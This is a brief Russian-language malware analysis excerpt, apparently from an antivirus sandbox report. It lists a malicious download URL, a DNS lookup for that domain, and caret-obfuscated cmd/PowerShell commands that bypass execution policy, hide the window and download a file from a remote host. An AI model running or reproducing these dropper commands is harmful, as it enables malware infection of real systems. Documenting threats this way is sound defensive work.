Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "Po^WE^r^SHeLL.e^Xe ^-E^XE^CUt^IonpOlIC^y B^y^pAs^S^ -^N^op^ROfilE -^W^i^Nd^oWsT^Y^L^e^ HI^d^D^en (ne^w-oB^j^ecT^ s^y^sT^eM.^N^E^t^.^weBc^liEn^t)^.D^Ow^n^LoAdFI^L^e(^'http://www...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "Po^WE^r^SHeLL.e^Xe ^-E^XE^CUt^IonpOlIC^y B^y^pAs^S^ -^N^op^ROfilE -^W^i^Nd^oWsT^Y^L^e^ HI^d^D^en (ne^w-oB^j^ecT^ s^y^sT^eM.^N^E^t^.^weBc^liEn^t)^.D^Ow^n^LoAdFI^L^e(^'http://www...' (со скрытым окном)